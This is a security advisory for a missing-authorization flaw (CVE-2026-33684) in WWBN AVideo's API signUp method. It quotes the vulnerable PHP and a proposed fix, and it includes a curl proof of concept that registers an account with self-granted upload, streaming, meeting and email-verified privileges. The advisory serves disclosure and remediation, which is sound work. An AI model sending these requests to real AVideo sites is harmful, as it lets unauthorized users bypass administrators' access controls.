PT-2026-51432 · Packagist · Wwbn Avideo

Published

2026-06-22

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Updated

2026-06-22

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CVE-2026-33684

CVSS v3.1

5.3

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

The set api signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.

Details

The authentication check in set api signUp (plugin/API/API.php:4222) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):
php
// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$ REQUEST['APISecret']) {
  if(empty($ REQUEST['captcha'])){
    return new ApiObject("Captcha is required");
  }
  require once $global['systemRootPath'] . 'objects/captcha.php';
  $valid = Captcha::validation($ REQUEST['captcha']);
  if(!$valid){
    return new ApiObject("Captcha is wrong, reload it and try again");
  }
}
After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:
php
// plugin/API/API.php:4238-4249
if (isset($ REQUEST['emailVerified'])) {
  $global['emailVerified'] = intval($ REQUEST['emailVerified']);
}
if (isset($ REQUEST['canCreateMeet'])) {
  $global['canCreateMeet'] = intval($ REQUEST['canCreateMeet']);
}
if (isset($ REQUEST['canStream'])) {
  $global['canStream'] = intval($ REQUEST['canStream']);
}
if (isset($ REQUEST['canUpload'])) {
  $global['canUpload'] = intval($ REQUEST['canUpload']);
}
These $global values are then consumed by User::save() (objects/user.php:829-840), which overrides the user object's permission fields:
php
// objects/user.php:829-840
if (isset($global['emailVerified'])) {
  $this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
  $this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
  $this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
  $this->canUpload = $global['canUpload'];
}
Note that even though userCreate.json.php:90 sets canUpload from the site's default configuration, User::save() subsequently overrides it with the attacker-controlled $global value.
The codebase already uses self::isAPISecretValid() to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in set api signUp.

PoC

bash
# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)

# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' 
 -d 'APIName=signUp' 
 -d 'user=attacker' 
 -d 'pass=Password123!' 
 -d 'email=attacker@example.com' 
 -d 'name=Attacker' 
 -d 'captcha=VALID CAPTCHA TOKEN' 
 -d 'emailVerified=1' 
 -d 'canUpload=1' 
 -d 'canStream=1' 
 -d 'canCreateMeet=1'

# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
#     plus email marked as verified

# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' 
 -d 'APIName=signIn' 
 -d 'user=attacker' 
 -d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1

Impact

  • Email verification bypass: Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality
  • Unauthorized upload access: Self-granted upload permissions allow uploading potentially malicious video content to the platform
  • Unauthorized streaming access: Self-granted streaming permissions allow unauthorized live streaming
  • Unauthorized meeting creation: Self-granted meet permissions allow creating meetings on the platform
  • Policy bypass: Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented

Recommended Fix

Wrap the privilege parameter handling in an isAPISecretValid() check so that only admin-authenticated requests can set these values:
php
// plugin/API/API.php — replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
  if (isset($ REQUEST['emailVerified'])) {
    $global['emailVerified'] = intval($ REQUEST['emailVerified']);
  }
  if (isset($ REQUEST['canCreateMeet'])) {
    $global['canCreateMeet'] = intval($ REQUEST['canCreateMeet']);
  }
  if (isset($ REQUEST['canStream'])) {
    $global['canStream'] = intval($ REQUEST['canStream']);
  }
  if (isset($ REQUEST['canUpload'])) {
    $global['canUpload'] = intval($ REQUEST['canUpload']);
  }
}

Fix

Missing Authorization

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Weakness Enumeration

CWE-862

Related Identifiers

CVE-2026-33684
GHSA-8J8M-P79X-G4JM

Affected Products

Wwbn Avideo